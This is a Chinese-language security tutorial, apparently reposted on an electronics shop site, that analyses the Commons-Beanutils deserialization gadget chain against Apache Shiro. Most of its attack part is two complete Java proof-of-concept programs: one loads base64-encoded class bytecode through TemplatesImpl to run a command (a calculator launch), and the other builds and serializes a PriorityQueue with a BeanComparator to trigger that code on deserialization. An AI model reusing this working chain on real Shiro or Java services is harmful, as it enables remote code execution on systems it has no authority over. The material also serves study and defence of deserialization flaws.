资讯详情

[Java反序列化]—Shiro反序列化(三)

前言

前篇通过CC链加载动态字节码进行代码执行,但这种方法需要我们自己加入CC依赖有很大的局限性。所以这篇文章是对的shiro的原生依赖CommonsBeanutils分析利用

前置知识

JavaBean

在了解CommonsBeanutils前先了解下JavaBean

类必是具体的和公共的,并且具有无参数的构造器。JavaBean 内部暴露成员属性通过提供符合一致性设计模式的公共方法,set和get方法获取。(大致意思是必须是公开的,是否有参结构器和相应的。setget方法)

类似于这类,公开类,是否有参结构器,具有相应的属性set或、get方法

public class Person { 
             public String name;     public int age;      public Person() { 
             }     public Person(String name, int age) { 
                 this.name = name;         this.age = age;     }      public String getName() { 
                 return name;     }      public int getAge() { 
                 return age;     }      public void setName(String name) { 
                 this.name = name;     }      public void setAge(int age) { 
                 this.age = age;     } } 

Commons-Beanutils

commons-beanutils是应用于javabean他提供了动态调用的工具getter的方法PropertyUtils.getProperty

Person person = new Person("Sentiment",18);
System.out.println(person.getName());

Person person = new Person("Sentiment",18);
System.out.println(PropertyUtils.getProperty(person,"name"));

起初运行时报错java.lang.NoClassDefFoundError: org/apache/commons/logging/LogFactory,加个maven依赖就好了

<dependency>
	<groupId>commons-logging</groupId>
	<artifactId>commons-logging</artifactId>
	<version>1.2</version>
</dependency>

这里传入的是name,之后getProperty(),方法会将name首字母大写—>Name,在加上get前缀,所以最后调用的是getName()

而这种方式,其实不光可以调用getter,而是可以调用任意方法,无论他有没有即:加入我们传入aaa则会调用getAaa()

结合前边的TemplatesImpl,其中getOutputProperties是get开头的,便可以逐个执行动态加载字节码文件了

TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
TemplatesImpl.getTransletInstance() ->
TemplatesImpl.defineTransletClasses() ->
TransletClassLoader.defineClass

流程分析

了解完getProperty方法,大体看下实现流程

跟进getProperty(),有调用了另一个类的getProperty()

public static Object getProperty(Object bean, String name)
        throws IllegalAccessException, InvocationTargetException,
        NoSuchMethodException { 
        

    return (PropertyUtilsBean.getInstance().getProperty(bean, name));

}

跟进,调用了getNestedProperty()

public Object getProperty(Object bean, String name)
        throws IllegalAccessException, InvocationTargetException,
        NoSuchMethodException { 
        

    return (getNestedProperty(bean, name));

}

再跟进getNestedProperty(),下方会检测传入类型是否为map、索引,不是所以走到了getSimpleProperty()

在这里插入图片描述

跟进之后最后会调用invokeMethod()

它会调用我们传入的bean对象的get方法

所以这里就可以联想TemplatesImpl#getOutputProperties() ,实现形式:

System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));

所以这里就可以用CC3链结合做个测试,确实可以执行

POC:

package shiro;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;

import javax.xml.transform.Templates;
import java.lang.reflect.Field;
import java.util.Base64;

public class BeanTest { 
        
    public static void main(String[] args) throws Exception { 
        
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","Sentiment");
        setFieldValue(templates,"_bytecodes",new byte[][]{ 
        bytes});
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
        templates.newTransformer();
        System.out.println(PropertyUtils.getProperty(templates,"outputProperties"));

    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ 
        
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
}

下面就是找一条反序列化的利用方式了

还是回溯法看谁调用了getProperty(),在BeanComparator.java中的compare()中发现调用,并且两个参数都可控

而在CC2这条链的优先队列类PriorityQueue的反序列化readObject()方法经过一级级的调用后,最终会调用compare()

所以整条链也就出来了

PriorityQueue.readObject() ->
BeanComparator.compare() ->
PropertyUtils.getProperty() ->
TemplatesImpl.getOutputProperties() ->
TemplatesImpl.newTransformer() ->
defineClass.newInstance()

POC

package shiro;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;

public class shiroCB { 
        
    public static void main(String[] args) throws Exception { 
        
        //CC3
        Templates templates = new TemplatesImpl();
        byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAGgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBAA1FdmlsVGVzdC5qYXZhDAAOAA8HABwMAB0AHgEABGNhbGMMAB8AIAEAHENvbW1vbnNDb2xsZWN0aW9uczMvRXZpbFRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAQAAAABsQAAAAEACgAAAAYAAQAAAA4ACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAATAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABUABAAWAA0AFwALAAAABAABABAAAQARAAAAAgAS");
        setFieldValue(templates,"_name","Sentiment");
        setFieldValue(templates,"_bytecodes",new byte[][]{ 
        bytes});
        
        //Commons-Beanutils
        BeanComparator beanComparator = new BeanComparator("outputProperties");

        //CC2
        TransformingComparator transformingComparator=new TransformingComparator(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue=new PriorityQueue<>(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);

        setFieldValue(priorityQueue,"comparator",beanComparator);

        serialize(priorityQueue);
        unserialize("1.txt");
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ 
        
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }
    public static void serialize(Object obj) throws IOException { 
        
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("1.txt"));
        out.writeObject(obj);
    }

    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ 
        
        ObjectInputStream In = new ObjectInputStream(new FileInputStream(Filename));
        Object o = In.readObject();
        return o;
    }
}

ShiroCB利用

Commons-Beanutils链构造好后,shiro中直接调用即可

标签: sl2继电器线路板底座syw二极管

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台